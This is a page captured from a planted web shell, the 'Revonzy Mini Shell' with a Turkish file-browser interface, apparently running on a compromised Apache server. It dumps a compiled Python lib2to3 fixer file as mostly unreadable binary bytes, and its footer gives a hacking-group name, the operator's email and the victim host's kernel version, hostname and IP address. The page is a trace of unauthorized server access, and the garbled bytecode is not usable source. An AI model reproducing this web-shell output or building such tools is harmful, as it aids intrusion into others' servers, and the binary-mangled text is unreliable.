Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /usr/lib64/python3.9/lib2to3/fixes/__pycache__/
Dosya Yükle :
Şuanki Dosya : //usr/lib64/python3.9/lib2to3/fixes/__pycache__/fix_urllib.cpython-39.opt-1.pyc

a

�DOg� �@s�dZddlmZmZddlmZmZmZmZm	Z	m
Z
mZdgd�fdgd�fdd	gfgdgd
�fdddgfgd
�Zed�
edd�dd�ZGdd�de�ZdS)z�Fix changes imports of urllib which are now incompatible.
   This is rather similar to fix_imports, but because of the more
   complex nature of the fixing for urllib, it has its own fixer.
�)�
alternates�
FixImports)�Name�Comma�
FromImport�Newline�find_indentation�Node�symszurllib.request)	Z	URLopenerZFancyURLopener�urlretrieveZ
_urlopener�urlopen�
urlcleanup�pathname2url�url2pathname�
getproxieszurllib.parse)�quote�
quote_plus�unquote�unquote_plus�	urlencode�	splitattr�	splithost�
splitnport�splitpasswd�	splitport�
splitquery�splittag�	splittype�	splituser�
splitvaluezurllib.error�ContentTooShortError)rZinstall_openerZbuild_openerZRequestZOpenerDirectorZBaseHandlerZHTTPDefaultErrorHandlerZHTTPRedirectHandlerZHTTPCookieProcessorZProxyHandlerZHTTPPasswordMgrZHTTPPasswordMgrWithDefaultRealmZAbstractBasicAuthHandlerZHTTPBasicAuthHandlerZProxyBasicAuthHandlerZAbstractDigestAuthHandlerZHTTPDigestAuthHandlerZProxyDigestAuthHandlerZHTTPHandlerZHTTPSHandler�FileHandlerZ
FTPHandlerZCacheFTPHandlerZUnknownHandler�URLError�	HTTPError)�urllib�urllib2r%r$�ccsvt�}t��D]b\}}|D]T}|\}}t|�}d||fVd|||fVd|Vd|Vd||fVqqdS)Nz�import_name< 'import' (module=%r
                                  | dotted_as_names< any* module=%r any* >) >
                  z�import_from< 'from' mod_member=%r 'import'
                       ( member=%s | import_as_name< member=%s 'as' any > |
                         import_as_names< members=any*  >) >
                  zIimport_from< 'from' module_star=%r 'import' star='*' >
                  ztimport_name< 'import'
                                  dotted_as_name< module_as=%r 'as' any > >
                  zKpower< bare_with_attr=%r trailer< '.' member=%s > any* >
                  )�set�MAPPING�itemsr)ZbareZ
old_moduleZchanges�changeZ
new_module�members�r,�0/usr/lib64/python3.9/lib2to3/fixes/fix_urllib.py�
build_pattern0s(�����r.c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�	FixUrllibcCsd�t��S)N�|)�joinr.)�selfr,r,r-r.IszFixUrllib.build_patterncCsv|�d�}|j}g}t|jdd�D] }|�t|d|d�t�g�q&|�tt|jdd|d��|�|�dS)z�Transform for the basic import case. Replaces the old
           import name with a comma separated list of its
           replacements.
        �moduleN���r��prefix)	�getr6r(�value�extendrr�append�replace)r2�node�resultsZ
import_mod�pref�names�namer,r,r-�transform_importLs
 zFixUrllib.transform_importcCs&|�d�}|j}|�d�}|r�t|t�r0|d}d}t|jD]}|j|dvr>|d}q^q>|rv|�t||d��n|�|d��n�g}i}	|d}
|
D]�}|j	t
jkr�|jd	j}|jdj}n
|j}d}|d
kr�t|jD]B}||dvr�|d|	v�r|�
|d�|	�|dg��
|�q�q�g}
t|�}d}dd
�}|D]�}|	|}g}|dd�D]"}|�|||��|�
t���q^|�||d|��t||�}|�r�|jj�|��r�||_|
�
|�d}�qB|
�rg}|
dd�D]}|�|t�g��q�|�
|
d�|�|�n|�|d�dS)z�Transform for imports of specific module elements. Replaces
           the module to be imported from with the appropriate new
           module.
        �
mod_member�memberrNr&r5�!This is an invalid module elementr+��,TcSsX|jtjkrHt|jdj|d�|jd��|jd��g}ttj|�gSt|j|d�gS)Nrr5r&rE)�typer
�import_as_namer�childrenr8Zcloner	)r@r6Zkidsr,r,r-�handle_name�s�z/FixUrllib.transform_member.<locals>.handle_namer4FzAll module elements are invalid)r7r6�
isinstance�listr(r8r;r�cannot_convertrGr
rHrIr:�
setdefaultrr9rr�parent�endswithr)r2r<r=rBr>rC�new_namer*�modulesZmod_dictr+Zas_name�member_nameZ	new_nodesZindentation�firstrJr3�eltsr?�elt�newZnodesZnew_noder,r,r-�transform_member\sh




zFixUrllib.transform_membercCs~|�d�}|�d�}d}t|t�r*|d}t|jD]}|j|dvr4|d}qTq4|rn|�t||jd��n|�|d�dS)z.Transform for calls to module members in code.�bare_with_attrrCNrr&r5rD)	r7rKrLr(r8r;rr6rM)r2r<r=Z
module_dotrCrQr*r,r,r-�
transform_dot�s


�
zFixUrllib.transform_dotcCsz|�d�r|�||�n^|�d�r0|�||�nF|�d�rH|�||�n.|�d�r`|�|d�n|�d�rv|�|d�dS)Nr3rBrYZmodule_starzCannot handle star imports.Z	module_asz#This module is now multiple modules)r7rArXrZrM)r2r<r=r,r,r-�	transform�s




zFixUrllib.transformN)�__name__�
__module__�__qualname__r.rArXrZr[r,r,r,r-r/Gs
Lr/N)�__doc__Zlib2to3.fixes.fix_importsrrZlib2to3.fixer_utilrrrrrr	r
r(r:r.r/r,r,r,r-�<module>s.$����
����!

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4